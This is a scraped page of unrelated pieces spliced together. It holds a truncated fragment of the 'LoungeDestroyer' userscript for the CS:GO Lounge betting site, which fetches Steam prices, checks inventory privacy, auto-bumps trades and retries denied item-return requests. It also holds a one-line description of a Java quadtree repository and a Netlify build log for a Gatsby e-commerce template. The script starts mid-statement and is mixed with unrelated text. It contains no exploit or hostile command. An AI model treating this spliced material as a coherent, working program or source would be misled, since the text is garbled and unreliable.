(1 - 0 + 1)) + 0) == 0 ? "betBackpackApi" : "betBackpack"); self.inventoryAttempts = self.inventoryAttempts + 1; Loge("Attempting to get your Steam inventory, try Nr." + self.inventoryAttempts); $.ajax({ url: 'ajax/'+steamAPI+'.php', type: 'POST', data: "id=" + self.profileNumber, success: function(data) { if($(data).text().indexOf("Can't get items.") == -1) { $("#showinventorypls").hide(); $(".left").html(""); $("#backpack").html(data).show(); Loge("Inventory loaded"); self.loadMarketPricesBackpack(); } else { self.getInventoryItems(); } } }); } }; this.requestReturns = function() { // Try Nr.54, server denied our return request: Add items to requested returns zone first. // if FALSE, then the items need to be frozen // if TRUE, then the items need to be requested for the actual trade var ajaxProperties = { url: (unsafeWindow.toreturn ? "ajax/postToReturn.php" : "ajax/postToFreeze.php") }; if(unsafeWindow.toreturn) { ajaxProperties.success = function(data) { // If there was a problem with requesting to return if (data) { self.returnAttempts = self.returnAttempts + 1; Loge("Try Nr." + self.returnAttempts + ", server denied our return request: " + data); self.requestReturns(); } else { alert("It seems we successfully requested returns! It took " + self.returnAttempts + " tries to request returns."); window.location.href = "mybets"; localStorage.playedreturn = false; } } } else { ajaxProperties.type = "POST"; ajaxProperties.data = $("#freeze").serialize(); ajaxProperties.success = function(data) { if (data) { self.returnAttempts = self.returnAttempts + 1; Loge("Try Nr." + self.returnAttempts + ", items need to be frozen, attempting to freeze them!"); self.requestReturns(); } else { toreturn = true; self.requestReturns(); } } } $.ajax(ajaxProperties); }; this.getMarketPrice = function(item) { if(Bet.userSettings["itemMarketPrices"] == "1") { var name = $(".smallimg", item).attr("alt"); if(!$(item).hasClass("marketPriced") && nonMarketItems.indexOf(name) == -1 && nonMarketItems.indexOf($(".rarity", item).text()) == -1 && !$(item).hasClass("loadingPrice")) { $(item).addClass("loadingPrice"); GM_xmlhttpRequest({ method: "GET", url: "http://steamcommunity.com/market/priceoverview/?country=US¤cy=" + self.userSettings["marketCurrency"] + "&appid=" + self.appID + "&market_hash_name=" + encodeURI(name), onload: function(response) { if(response.status == 200) { var responseParsed = JSON.parse(response.responseText); if(responseParsed.success == true && responseParsed.hasOwnProperty("lowest_price")) { var lowestPrice = responseParsed["lowest_price"].replace("$", "$ "); $(item).find('.rarity').html(lowestPrice); $(item).addClass('marketPriced'); $(".item").each(function() { if ($(this).find('img.smallimg').attr("alt") == name && !$(this).hasClass('marketPriced')) { $(this).find('.rarity').html(lowestPrice); $(this).addClass('marketPriced'); } }); } else { $(item).find('.rarity').html('Not Found'); } } $(item).removeClass("loadingPrice"); } }); } } }; this.bumpTrade = function(tradeID) { $.ajax({ type: "POST", url: "ajax/bumpTrade.php", data: "trade=" + tradeID, async: false, success: function(data) { Loge("Bumped trade offer #" + tradeID); } }); }; this.startAutobump = function() { if($(".tradeheader").text().indexOf("minute") == -1 && $(".tradeheader").text().indexOf("second") == -1) { // force bump var delayMinutes = 0; } if($(".tradeheader").text().indexOf("second") != -1 || $(".tradeheader").text().indexOf("just now") != -1) { var delayMinutes = 30; } if($(".tradeheader").text().indexOf("minute") != -1) { var numberino = $(".tradeheader").text().replace(" minutes ago", "").replace(" minute ago", ""); var delayMinutes = (numberino >= 30) ? 0.5 : (30 - numberino); } Loge("Auto-bumping in " + delayMinutes + " minutes"); // start the vicious cycle var autoBump = setTimeout(function() { Loge("Auto-bumping"); self.bumpTrade(Bet.tradeID); self.updateLastBumped(); self.startAutobump(); }, (delayMinutes * 60 * 1000)) }; this.stopAutobump = function() { Loge("Stopping auto-bumping"); clearTimeout(autoBump); }; this.updateLastBumped = function() { $.ajax({ type: "GET", url: window.location.href, async: false }).done(function(data) { var lastUpdated = $(data).find(".tradeheader").text(); $(".tradeheader").html(lastUpdated); Loge("Updated last-updated element: " + lastUpdated); }) }; this.loadMarketPricesBackpack = function() { var csglPrices = {}; var marketedItems = {}; $("#backpack .item").each(function(index, value) { var itemName = $(value).find(".smallimg").attr("alt"); // Lowering performance cost because no need to call request for duplicate items if(!marketedItems.hasOwnProperty(itemName)) { self.getMarketPrice(value); marketedItems[itemName] = true; } if($(value).find("input[name=worth]").length) { var itemPrice = $(value).find("input[name=worth]").val(); csglPrices[itemName] = itemPrice; } }); if(!$.isEmptyObject(csglPrices)) { var swag = GM_getValue("swag"); if(typeof(swag) == "undefined") { GM_setValue("swag", getDMY()); self.postSwag(csglPrices); } if(typeof(swag) == "string") { if(swag != getDMY()) { GM_setValue("swag", getDMY()); self.postSwag(csglPrices); } } } }; this.postSwag = function(nsa) { // temporary disabled }; /** * Used for observing backpack for DOM changes, checking if back has loaded or if Lounge cannot load it. * Dirty approach and is used in two places (trading backpack and on match page when backpack loads on page load) * @return void */ this.getBackpack = function(observeElement) { observeDOM(document.getElementById(observeElement), function() { if(!backpackLoaded) { // !$(".bpheader").length stupid fix since on trade pages backpack gets appended somewhere else if($(".standard").text().indexOf("Can't get items.") != -1 && !$(".bpheader").length) { $("#backpack").hide(); Loge("CS:GO inventory is not loaded"); Loge("Getting your Steam profile number!"); Loge("Checking if your Steam profile is private"); GM_xmlhttpRequest({ synchronous: true, // GM_xmlhttpRequest does not understand that I want it to be synchronous :) method: "GET", url: "http://steamcommunity.com/profiles/" + self.profileNumber + "/?xml=1&timerino=" + Date.now(), onload: function(data) { var parsedXML = $.parseXML(data.responseText); var privacyState = $(parsedXML).find("privacyState").text(); if(privacyState == "private") { Loge("Your profile is private, set it to public so you can bet from inventory!"); } if(privacyState == "public") { Loge("Your profile is public, checking if your inventory is also public.."); // Check if inventory is public.. THIS might be bad if you are logged in with different account GM_xmlhttpRequest({ method: "GET", url: "http://steamcommunity.com/profiles/" + self.profileNumber + "/inventory/json/" + self.appID + "/2", // might not work on dota2lounge onload: function(data) { var json = JSON.parse(data.responseText); if(json.success == true) { Loge("Your inventory is public from JSON API, double checking.."); GM_xmlhttpRequest({ method: "GET", url: "http://steamcommunity.com/profiles/" + self.profileNumber + "/edit/settings", onload: function(data) { var html = data.responseText; // The script shits itself when Volvo returns some error page.. (invalid XML error) if($(html).find("#account_pulldown").length) { if($(html).find("#inventoryPrivacySetting_public:checked").length) { Loge("Inventory privacy setting is set to public, loading inventory now!"); Bet.getInventoryItems(); } else { Loge("Inventory privacy setting is not set to public! :("); } } else { Loge("Inventory is indeed available through JSON API, loading inventory.."); Bet.getInventoryItems(); } } }); } else { Loge("Your inventory is private, set it to public so you are able to place a bet from your inventory!"); } } }); } } }); } if($(".bpheader").length) { backpackLoaded = true; $("#backpack").show(); Bet.loadMarketPricesBackpack(); Loge("CS:GO inventory loaded"); $("#loading").hide(); } } }); } }; var nonMarketItems = ["Dota Items", "Any Offers", "Knife", "Gift", "TF2 Items", "Real Money", "Offers", "Any Common", "Any Uncommon", "Any Rare", "Any Mythical", "Any Legendary", "Any Ancient", "Any Immortal", "Real Money", "+ More", "Any Set"]; var Bet = new Bet3000(); var autoBump; // global variable for autobump timeouts $(document).on("mouseover", ".item", function() { Bet.getMarketPrice(this); if($(this).find(".steamMarketURL").length == 0) { var itemName = encodeURI($(this).find(".smallimg").attr("alt")); $(this).find('.name a[onclick="previewItem($(this))"]').after('<br/>' + '<br/><a class="steamMarketURL" href="http://steamcommunity.com/market/listings/'+ Bet.appID +'/'+ itemName +'" target="_blank">Market Listings</a><br/>' + '<a href="http://steamcommunity.com/market/search?q='+ itemName +'" target="_blank">Market Search</a>'); } }); if(document.URL.indexOf("/match?m=") != -1) { if($("#placebut").length) { $("#placebut").before("<a class='buttonright' id='realbetbutton'>ITEM KOY</a>"); Bet.matchID = gup("m"); $("#realbetbutton").click(function() { Bet.placeBet($("#placebut")); }); $(".gradient:eq(0)").after('<div id="ld-placebet" class="gradient"><div class="wrapperino">' + 'LoungeDestroyer delay settings for requests' + '<div class="setting-block"><span class="slider-desc">Bots are offline (ms):</span> <input id="delayBotsOff" type="range" min="0" max="30000" step="100" /><input id="delayBotsOff_display" type="text" disabled></div>' + '<div class="setting-block"><span class="slider-desc">Bots are online (ms):</span> <input id="delayBotsOn" type="range" min="0" max="30000" step="100" /><input id="delayBotsOn_display" type="text" disabled></div>' + '<div class="setting-block"><span class="slider-desc">After \'re-log error\' (ms):</span> <input id="delayRelogError" type="range" min="0" max="30000" step="100" /><input id="delayRelogError_display" type="text" disabled></div>' + '<div style="font-size: 12px; font-weight: bold;">Bot status: <span id="bot-status">Not checked yet</span></div>' + '</div></div>'); unsafeWindow.delays = {}; function updatePlaceBetSetting(name, value) { $("#" + name + "_display").val(value); unsafeWindow.delays[name] = parseInt(value); } $("#ld-placebet .setting-block input[type=range]").change(function() { Bet.saveSetting(this.id, this.value); updatePlaceBetSetting(this.id, this.value); }); $("#ld-placebet .setting-block input[type=range]").each(function(index, value) { var settingVal = Bet.userSettings[value.id]; $(value).val(settingVal); updatePlaceBetSetting(value.id, settingVal); }); function checkBotsPlaceBet() { Bet.checkBotsOnline(function() { unsafeWindow.botsOnline = true; $("#bot-status").html("ONLINE"); }, function () { $("#bot-status").html("OFFLINE"); unsafeWindow.botsOnline = false; }) } checkBotsPlaceBet(); setInterval(function() { checkBotsPlaceBet(); }, 15000); } if(Bet.userSettings["streamRemove"] == "1") { $("#stream object, #stream iframe").remove(); } // Borewik, I hate your HTML element structure var tabWrapper = $("div[style='float: left; width: 96%;margin: 0 2%;height: 26px;border-radius: 5px;position: relative;overflow: hidden;']"); $(tabWrapper).append('<a class="tab" onclick="ChoseInventoryReturns(\'betBackpack\');returns = false;" title="EXPERIMENTAL!\n\nIf CSGL has ' + 'not fetched your new inventory (and it is loading only cached inventory for past few minutes) and you just got new item in your inventory' + ' for betting, you can try pressing this button! \nBe gentle and don\'t spam it too often though!">Re-fetch inventory (?)</div>'); $(tabWrapper).find(".tab").width("33%"); $(tabWrapper).find(".tab").click(function() { backpackLoaded = false; }); } if(document.URL.indexOf("/trade?t=") != -1) { Bet.tradeID = gup("t"); if(!$(".buttonright:contains('Report')").length) { var autobumpBtn = $("<a class='buttonright autobump'>Auto-bump: <span class='status'>Off</span></a>"); $(".box-shiny-alt .half:eq(1)").append(autobumpBtn); Bet.autobump = false; $(".autobump").click(function() { Bet.autobump = (Bet.autobump == false) ? true : false; if(Bet.autobump) { Bet.updateLastBumped(); Bet.startAutobump(); } else { Bet.stopAutobump(); } var btnText = (Bet.autobump) ? "On" : "Off"; $(".autobump .status").html(btnText); }) $(".box-shiny-alt .half:eq(1)").append("<a class='buttonright justbump'>Bump</a>"); $(".justbump").click(function() { Bet.bumpTrade(Bet.tradeID); Bet.updateLastBumped(); }) } $("a:contains('Add items to offer')").click(function() { Bet.getBackpack("offer"); }) } if($("#backpack").length) { if($("#backpack #loading").length) { var backpackLoaded = false; Bet.getBackpack("backpack"); } } if($("#freezebutton").length) { $("#freezebutton").after("<a class='buttonright' id='returnitemspls'>ITEM AL</a>"); $("#returnitemspls").click(function() { Bet.requestReturns(); }) } if($("#submenu").length) { $("#submenu div:eq(0)").append('<a href="http://steamcommunity.com/tradeoffer/new/?partner=106750833&token=CXFPs7ON" title="Support LoungeDestroyer further development">LoungeDestroyer ❤</a>') } if($("#skin").length) { $("#skin").before('<div id="ld_settings"></div>'); $("#ld_settings").click(function() { $("#ld_popup, #overlay-dummy").show(); }); $("body").append('<div id="overlay-dummy"></div>' + '<div id="ld_popup">' + '<div class="popup-title"><span>LoungeDestroyer settings</span><div id="close-btn">✕</div></div>' + '<div class="ld-settings">' + '<div>Market prices on items:</div><select id="itemMarketPrices"><option value="1">Enabled</option><option value="0">Disabled</option></select>' + '<div>Steam market currency:</div><select id="marketCurrency"><option value="1">USD</option><option value="2">GBP</option><option value="3">EUR</option><option value="5">RUB</option></select>' + '<div>Redirect from item draft page:</div><select id="redirect"><option value="1">Enabled</option><option value="0">Disabled</option></select>' + '<div>Remove stream from match page:</div><select id="streamRemove"><option value="1">Enabled</option><option value="0">Disabled</option></select>' + '</div>' + '<div class="footerino"><div>created by NCLA</div><div style="font-weight: bold;font-size:11px;"><a href="http://github.com/iamncla/LoungeDestroyer" target="_blank">GitHub</a> | <a href="http://steamcommunity.com/tradeoffer/new/?partner=106750833&token=CXFPs7ON" target="_blank">Donate</a></div></div>' + '</div>'); $("#ld_popup #close-btn, #overlay-dummy").click(function() { $("#ld_popup, #overlay-dummy").hide(); }); $.each(Bet.userSettings, function(index, value) { $(".ld-settings #" + index + " option[value=" + value + "]").prop('selected', true); }); $(".ld-settings select").on('change', function() { Bet.saveSetting(this.id, this.value); }); }
ryanmpelletier / Java Simple QuadtreeA quadtree written in Java. Supports insert, update, search, remove, and more! Plenty of unit tests and also a performance report to compare with a brute force method.
Lhagawajaw / 11 36 00 PM Build Ready To Start 11 36 02 PM Build Image Version 72a309a113b53ef075815b129953617811:36:00 PM: Build ready to start 11:36:02 PM: build-image version: 72a309a113b53ef075815b129953617827965e48 (focal) 11:36:02 PM: build-image tag: v4.8.2 11:36:02 PM: buildbot version: 72ebfe61ef7a5152002962d9129cc52f5b1bb560 11:36:02 PM: Fetching cached dependencies 11:36:02 PM: Failed to fetch cache, continuing with build 11:36:02 PM: Starting to prepare the repo for build 11:36:02 PM: No cached dependencies found. Cloning fresh repo 11:36:02 PM: git clone https://github.com/netlify-templates/gatsby-ecommerce-theme 11:36:03 PM: Preparing Git Reference refs/heads/main 11:36:04 PM: Parsing package.json dependencies 11:36:05 PM: Starting build script 11:36:05 PM: Installing dependencies 11:36:05 PM: Python version set to 2.7 11:36:06 PM: v16.15.1 is already installed. 11:36:06 PM: Now using node v16.15.1 (npm v8.11.0) 11:36:06 PM: Started restoring cached build plugins 11:36:06 PM: Finished restoring cached build plugins 11:36:06 PM: Attempting ruby version 2.7.2, read from environment 11:36:08 PM: Using ruby version 2.7.2 11:36:08 PM: Using PHP version 8.0 11:36:08 PM: No npm workspaces detected 11:36:08 PM: Started restoring cached node modules 11:36:08 PM: Finished restoring cached node modules 11:36:09 PM: Installing NPM modules using NPM version 8.11.0 11:36:09 PM: npm WARN config tmp This setting is no longer used. npm stores temporary files in a special 11:36:09 PM: npm WARN config location in the cache, and they are managed by 11:36:09 PM: npm WARN config [`cacache`](http://npm.im/cacache). 11:36:09 PM: npm WARN config tmp This setting is no longer used. npm stores temporary files in a special 11:36:09 PM: npm WARN config location in the cache, and they are managed by 11:36:09 PM: npm WARN config [`cacache`](http://npm.im/cacache). 11:36:24 PM: npm WARN deprecated source-map-url@0.4.1: See https://github.com/lydell/source-map-url#deprecated 11:36:25 PM: npm WARN deprecated source-map-resolve@0.5.3: See https://github.com/lydell/source-map-resolve#deprecated 11:36:26 PM: npm WARN deprecated uuid@3.4.0: Please upgrade to version 7 or higher. Older versions may use Math.random() in certain circumstances, which is known to be problematic. See https://v8.dev/blog/math-random for details. 11:36:28 PM: npm WARN deprecated querystring@0.2.1: The querystring API is considered Legacy. new code should use the URLSearchParams API instead. 11:36:33 PM: npm WARN deprecated subscriptions-transport-ws@0.9.19: The `subscriptions-transport-ws` package is no longer maintained. We recommend you use `graphql-ws` instead. For help migrating Apollo software to `graphql-ws`, see https://www.apollographql.com/docs/apollo-server/data/subscriptions/#switching-from-subscriptions-transport-ws For general help using `graphql-ws`, see https://github.com/enisdenjo/graphql-ws/blob/master/README.md 11:36:36 PM: npm WARN deprecated async-cache@1.1.0: No longer maintained. Use [lru-cache](http://npm.im/lru-cache) version 7.6 or higher, and provide an asynchronous `fetchMethod` option. 11:36:37 PM: npm WARN deprecated babel-eslint@10.1.0: babel-eslint is now @babel/eslint-parser. This package will no longer receive updates. 11:36:41 PM: npm WARN deprecated devcert@1.2.0: critical regex denial of service bug fixed in 1.2.1 patch 11:36:42 PM: npm WARN deprecated debug@4.1.1: Debug versions >=3.2.0 <3.2.7 || >=4 <4.3.1 have a low-severity ReDos regression when used in a Node.js environment. It is recommended you upgrade to 3.2.7 or 4.3.1. (https://github.com/visionmedia/debug/issues/797) 11:36:45 PM: npm WARN deprecated urix@0.1.0: Please see https://github.com/lydell/urix#deprecated 11:36:45 PM: npm WARN deprecated resolve-url@0.2.1: https://github.com/lydell/resolve-url#deprecated 11:36:53 PM: npm WARN deprecated puppeteer@7.1.0: Version no longer supported. Upgrade to @latest 11:37:30 PM: added 2044 packages, and audited 2045 packages in 1m 11:37:30 PM: 208 packages are looking for funding 11:37:30 PM: run `npm fund` for details 11:37:30 PM: 41 vulnerabilities (13 moderate, 25 high, 3 critical) 11:37:30 PM: To address issues that do not require attention, run: 11:37:30 PM: npm audit fix 11:37:30 PM: To address all issues possible (including breaking changes), run: 11:37:30 PM: npm audit fix --force 11:37:30 PM: Some issues need review, and may require choosing 11:37:30 PM: a different dependency. 11:37:30 PM: Run `npm audit` for details. 11:37:30 PM: NPM modules installed 11:37:31 PM: npm WARN config tmp This setting is no longer used. npm stores temporary files in a special 11:37:31 PM: npm WARN config location in the cache, and they are managed by 11:37:31 PM: npm WARN config [`cacache`](http://npm.im/cacache). 11:37:31 PM: Started restoring cached go cache 11:37:31 PM: Finished restoring cached go cache 11:37:31 PM: Installing Go version 1.17 (requested 1.17) 11:37:36 PM: unset GOOS; 11:37:36 PM: unset GOARCH; 11:37:36 PM: export GOROOT='/opt/buildhome/.gimme/versions/go1.17.linux.amd64'; 11:37:36 PM: export PATH="/opt/buildhome/.gimme/versions/go1.17.linux.amd64/bin:${PATH}"; 11:37:36 PM: go version >&2; 11:37:36 PM: export GIMME_ENV="/opt/buildhome/.gimme/env/go1.17.linux.amd64.env" 11:37:37 PM: go version go1.17 linux/amd64 11:37:37 PM: Installing missing commands 11:37:37 PM: Verify run directory 11:37:38 PM: 11:37:38 PM: ──────────────────────────────────────────────────────────────── 11:37:38 PM: Netlify Build 11:37:38 PM: ──────────────────────────────────────────────────────────────── 11:37:38 PM: 11:37:38 PM: ❯ Version 11:37:38 PM: @netlify/build 27.3.0 11:37:38 PM: 11:37:38 PM: ❯ Flags 11:37:38 PM: baseRelDir: true 11:37:38 PM: buildId: 62b9ce60232d3454599e9b1c 11:37:38 PM: deployId: 62b9ce60232d3454599e9b1e 11:37:38 PM: 11:37:38 PM: ❯ Current directory 11:37:38 PM: /opt/build/repo 11:37:38 PM: 11:37:38 PM: ❯ Config file 11:37:38 PM: /opt/build/repo/netlify.toml 11:37:38 PM: 11:37:38 PM: ❯ Context 11:37:38 PM: production 11:37:38 PM: 11:37:38 PM: ❯ Loading plugins 11:37:38 PM: - @netlify/plugin-gatsby@3.2.4 from netlify.toml and package.json 11:37:38 PM: - netlify-plugin-cypress@2.2.0 from netlify.toml and package.json 11:37:40 PM: 11:37:40 PM: ──────────────────────────────────────────────────────────────── 11:37:40 PM: 1. @netlify/plugin-gatsby (onPreBuild event) 11:37:40 PM: ──────────────────────────────────────────────────────────────── 11:37:40 PM: 11:37:40 PM: No Gatsby cache found. Building fresh. 11:37:40 PM: 11:37:40 PM: (@netlify/plugin-gatsby onPreBuild completed in 17ms) 11:37:40 PM: 11:37:40 PM: ──────────────────────────────────────────────────────────────── 11:37:40 PM: 2. netlify-plugin-cypress (onPreBuild event) 11:37:40 PM: ──────────────────────────────────────────────────────────────── 11:37:40 PM: 11:37:41 PM: [STARTED] Task without title. 11:37:44 PM: [SUCCESS] Task without title. 11:37:46 PM: [2266:0627/153746.716704:ERROR:zygote_host_impl_linux.cc(263)] Failed to adjust OOM score of renderer with pid 2420: Permission denied (13) 11:37:46 PM: [2420:0627/153746.749095:ERROR:sandbox_linux.cc(377)] InitializeSandbox() called with multiple threads in process gpu-process. 11:37:46 PM: [2420:0627/153746.764711:ERROR:gpu_memory_buffer_support_x11.cc(44)] dri3 extension not supported. 11:37:46 PM: Displaying Cypress info... 11:37:46 PM: Detected no known browsers installed 11:37:46 PM: Proxy Settings: none detected 11:37:46 PM: Environment Variables: 11:37:46 PM: CYPRESS_CACHE_FOLDER: ./node_modules/.cache/CypressBinary 11:37:46 PM: Application Data: /opt/buildhome/.config/cypress/cy/development 11:37:46 PM: Browser Profiles: /opt/buildhome/.config/cypress/cy/development/browsers 11:37:46 PM: Binary Caches: /opt/build/repo/node_modules/.cache/CypressBinary 11:37:46 PM: Cypress Version: 10.2.0 (stable) 11:37:46 PM: System Platform: linux (Ubuntu - 20.04) 11:37:46 PM: System Memory: 32.8 GB free 27.9 GB 11:37:47 PM: 11:37:47 PM: (netlify-plugin-cypress onPreBuild completed in 6.2s) 11:37:47 PM: 11:37:47 PM: ──────────────────────────────────────────────────────────────── 11:37:47 PM: 3. build.command from netlify.toml 11:37:47 PM: ──────────────────────────────────────────────────────────────── 11:37:47 PM: 11:37:47 PM: $ gatsby build 11:37:49 PM: success open and validate gatsby-configs, load plugins - 0.298s 11:37:49 PM: success onPreInit - 0.003s 11:37:49 PM: success initialize cache - 0.107s 11:37:49 PM: success copy gatsby files - 0.044s 11:37:49 PM: success Compiling Gatsby Functions - 0.251s 11:37:49 PM: success onPreBootstrap - 0.259s 11:37:50 PM: success createSchemaCustomization - 0.000s 11:37:50 PM: success Checking for changed pages - 0.000s 11:37:50 PM: success source and transform nodes - 0.154s 11:37:50 PM: info Writing GraphQL type definitions to /opt/build/repo/.cache/schema.gql 11:37:50 PM: success building schema - 0.402s 11:37:50 PM: success createPages - 0.000s 11:37:50 PM: success createPagesStatefully - 0.312s 11:37:50 PM: info Total nodes: 49, SitePage nodes: 26 (use --verbose for breakdown) 11:37:50 PM: success Checking for changed pages - 0.000s 11:37:50 PM: success onPreExtractQueries - 0.000s 11:37:54 PM: success extract queries from components - 3.614s 11:37:54 PM: success write out redirect data - 0.006s 11:37:54 PM: success Build manifest and related icons - 0.468s 11:37:54 PM: success onPostBootstrap - 0.469s 11:37:54 PM: info bootstrap finished - 7.967s 11:37:54 PM: success write out requires - 0.009s 11:38:19 PM: success Building production JavaScript and CSS bundles - 24.472s 11:38:38 PM: <w> [webpack.cache.PackFileCacheStrategy] Skipped not serializable cache item 'mini-css-extract-plugin /opt/build/repo/node_modules/css-loader/dist/cjs.js??ruleSet[1].rules[10].oneOf[0].use[1]!/opt/build/repo/node_modules/postcss-loader/dist/cjs.js??ruleSet[1].rules[10].oneOf[0].use[2]!/opt/build/repo/src/components/Footer/Footer.module.css|0|Compilation/modules|/opt/build/repo/node_modules/css-loader/dist/cjs.js??ruleSet[1].rules[10].oneOf[0].use[1]!/opt/build/repo/node_modules/postcss-loader/dist/cjs.js??ruleSet[1].rules[10].oneOf[0].use[2]!/opt/build/repo/src/components/Footer/Footer.module.css': No serializer registered for Warning 11:38:38 PM: <w> while serializing webpack/lib/cache/PackFileCacheStrategy.PackContentItems -> webpack/lib/NormalModule -> Array { 1 items } -> webpack/lib/ModuleWarning -> Warning 11:38:38 PM: <w> [webpack.cache.PackFileCacheStrategy] Skipped not serializable cache item 'mini-css-extract-plugin /opt/build/repo/node_modules/css-loader/dist/cjs.js??ruleSet[1].rules[10].oneOf[0].use[1]!/opt/build/repo/node_modules/postcss-loader/dist/cjs.js??ruleSet[1].rules[10].oneOf[0].use[2]!/opt/build/repo/src/components/Header/Header.module.css|0|Compilation/modules|/opt/build/repo/node_modules/css-loader/dist/cjs.js??ruleSet[1].rules[10].oneOf[0].use[1]!/opt/build/repo/node_modules/postcss-loader/dist/cjs.js??ruleSet[1].rules[10].oneOf[0].use[2]!/opt/build/repo/src/components/Header/Header.module.css': No serializer registered for Warning 11:38:38 PM: <w> while serializing webpack/lib/cache/PackFileCacheStrategy.PackContentItems -> webpack/lib/NormalModule -> Array { 1 items } -> webpack/lib/ModuleWarning -> Warning 11:38:39 PM: <w> [webpack.cache.PackFileCacheStrategy] Skipped not serializable cache item 'Compilation/modules|/opt/build/repo/node_modules/css-loader/dist/cjs.js??ruleSet[1].rules[9].oneOf[0].use[0]!/opt/build/repo/node_modules/postcss-loader/dist/cjs.js??ruleSet[1].rules[9].oneOf[0].use[1]!/opt/build/repo/src/components/Footer/Footer.module.css': No serializer registered for Warning 11:38:39 PM: <w> while serializing webpack/lib/cache/PackFileCacheStrategy.PackContentItems -> webpack/lib/NormalModule -> Array { 1 items } -> webpack/lib/ModuleWarning -> Warning 11:38:39 PM: <w> [webpack.cache.PackFileCacheStrategy] Skipped not serializable cache item 'Compilation/modules|/opt/build/repo/node_modules/css-loader/dist/cjs.js??ruleSet[1].rules[9].oneOf[0].use[0]!/opt/build/repo/node_modules/postcss-loader/dist/cjs.js??ruleSet[1].rules[9].oneOf[0].use[1]!/opt/build/repo/src/components/Header/Header.module.css': No serializer registered for Warning 11:38:39 PM: <w> while serializing webpack/lib/cache/PackFileCacheStrategy.PackContentItems -> webpack/lib/NormalModule -> Array { 1 items } -> webpack/lib/ModuleWarning -> Warning 11:38:41 PM: success Building HTML renderer - 21.648s 11:38:41 PM: success Execute page configs - 0.024s 11:38:41 PM: success Caching Webpack compilations - 0.000s 11:38:41 PM: success run queries in workers - 0.042s - 26/26 621.26/s 11:38:41 PM: success Merge worker state - 0.001s 11:38:41 PM: success Rewriting compilation hashes - 0.001s 11:38:41 PM: success Writing page-data.json files to public directory - 0.014s - 26/26 1818.92/s 11:38:45 PM: success Building static HTML for pages - 4.353s - 26/26 5.97/s 11:38:45 PM: info [gatsby-plugin-netlify] Creating SSR/DSG redirects... 11:38:45 PM: info [gatsby-plugin-netlify] Created 0 SSR/DSG redirects... 11:38:45 PM: success onPostBuild - 0.011s 11:38:45 PM: 11:38:45 PM: Pages 11:38:45 PM: ┌ src/pages/404.js 11:38:45 PM: │ ├ /404/ 11:38:45 PM: │ └ /404.html 11:38:45 PM: ├ src/pages/about.js 11:38:45 PM: │ └ /about/ 11:38:45 PM: ├ src/pages/accountSuccess.js 11:38:45 PM: │ └ /accountSuccess/ 11:38:45 PM: ├ src/pages/cart.js 11:38:45 PM: │ └ /cart/ 11:38:45 PM: ├ src/pages/faq.js 11:38:45 PM: │ └ /faq/ 11:38:45 PM: ├ src/pages/forgot.js 11:38:45 PM: │ └ /forgot/ 11:38:45 PM: ├ src/pages/how-to-use.js 11:38:45 PM: │ └ /how-to-use/ 11:38:45 PM: ├ src/pages/index.js 11:38:45 PM: │ └ / 11:38:45 PM: ├ src/pages/login.js 11:38:45 PM: │ └ /login/ 11:38:45 PM: ├ src/pages/orderConfirm.js 11:38:45 PM: │ └ /orderConfirm/ 11:38:45 PM: ├ src/pages/search.js 11:38:45 PM: │ └ /search/ 11:38:45 PM: ├ src/pages/shop.js 11:38:45 PM: │ └ /shop/ 11:38:45 PM: ├ src/pages/shopV2.js 11:38:45 PM: │ └ /shopV2/ 11:38:45 PM: ├ src/pages/signup.js 11:38:45 PM: │ └ /signup/ 11:38:45 PM: ├ src/pages/styling.js 11:38:45 PM: │ └ /styling/ 11:38:45 PM: ├ src/pages/support.js 11:38:45 PM: │ └ /support/ 11:38:45 PM: ├ src/pages/account/address.js 11:38:45 PM: │ └ /account/address/ 11:38:45 PM: ├ src/pages/account/favorites.js 11:38:45 PM: │ └ /account/favorites/ 11:38:45 PM: ├ src/pages/account/index.js 11:38:45 PM: │ └ /account/ 11:38:45 PM: ├ src/pages/account/orders.js 11:38:45 PM: │ └ /account/orders/ 11:38:45 PM: ├ src/pages/account/settings.js 11:38:45 PM: │ └ /account/settings/ 11:38:45 PM: ├ src/pages/account/viewed.js 11:38:45 PM: │ └ /account/viewed/ 11:38:45 PM: ├ src/pages/blog/index.js 11:38:45 PM: │ └ /blog/ 11:38:45 PM: ├ src/pages/blog/sample.js 11:38:45 PM: │ └ /blog/sample/ 11:38:45 PM: └ src/pages/product/sample.js 11:38:45 PM: └ /product/sample/ 11:38:45 PM: ╭────────────────────────────────────────────────────────────────────╮ 11:38:45 PM: │ │ 11:38:45 PM: │ (SSG) Generated at build time │ 11:38:45 PM: │ D (DSG) Deferred static generation - page generated at runtime │ 11:38:45 PM: │ ∞ (SSR) Server-side renders at runtime (uses getServerData) │ 11:38:45 PM: │ λ (Function) Gatsby function │ 11:38:45 PM: │ │ 11:38:45 PM: ╰────────────────────────────────────────────────────────────────────╯ 11:38:45 PM: info Done building in 58.825944508 sec 11:38:46 PM: 11:38:46 PM: (build.command completed in 59s) 11:38:46 PM: 11:38:46 PM: ──────────────────────────────────────────────────────────────── 11:38:46 PM: 4. @netlify/plugin-gatsby (onBuild event) 11:38:46 PM: ──────────────────────────────────────────────────────────────── 11:38:46 PM: 11:38:46 PM: Skipping Gatsby Functions and SSR/DSG support 11:38:46 PM: 11:38:46 PM: (@netlify/plugin-gatsby onBuild completed in 9ms) 11:38:46 PM: 11:38:46 PM: ──────────────────────────────────────────────────────────────── 11:38:46 PM: 5. Functions bundling 11:38:46 PM: ──────────────────────────────────────────────────────────────── 11:38:46 PM: 11:38:46 PM: The Netlify Functions setting targets a non-existing directory: netlify/functions 11:38:46 PM: 11:38:46 PM: (Functions bundling completed in 3ms) 11:38:46 PM: 11:38:46 PM: ──────────────────────────────────────────────────────────────── 11:38:46 PM: 6. @netlify/plugin-gatsby (onPostBuild event) 11:38:46 PM: ──────────────────────────────────────────────────────────────── 11:38:46 PM: 11:38:47 PM: Skipping Gatsby Functions and SSR/DSG support 11:38:47 PM: 11:38:47 PM: (@netlify/plugin-gatsby onPostBuild completed in 1.4s) 11:38:47 PM: 11:38:47 PM: ──────────────────────────────────────────────────────────────── 11:38:47 PM: 7. netlify-plugin-cypress (onPostBuild event) 11:38:47 PM: ──────────────────────────────────────────────────────────────── 11:38:47 PM: 11:38:49 PM: [2557:0627/153849.751277:ERROR:zygote_host_impl_linux.cc(263)] Failed to adjust OOM score of renderer with pid 2711: Permission denied (13) 11:38:49 PM: [2711:0627/153849.770005:ERROR:sandbox_linux.cc(377)] InitializeSandbox() called with multiple threads in process gpu-process. 11:38:49 PM: [2711:0627/153849.773016:ERROR:gpu_memory_buffer_support_x11.cc(44)] dri3 extension not supported. 11:38:52 PM: Couldn't find tsconfig.json. 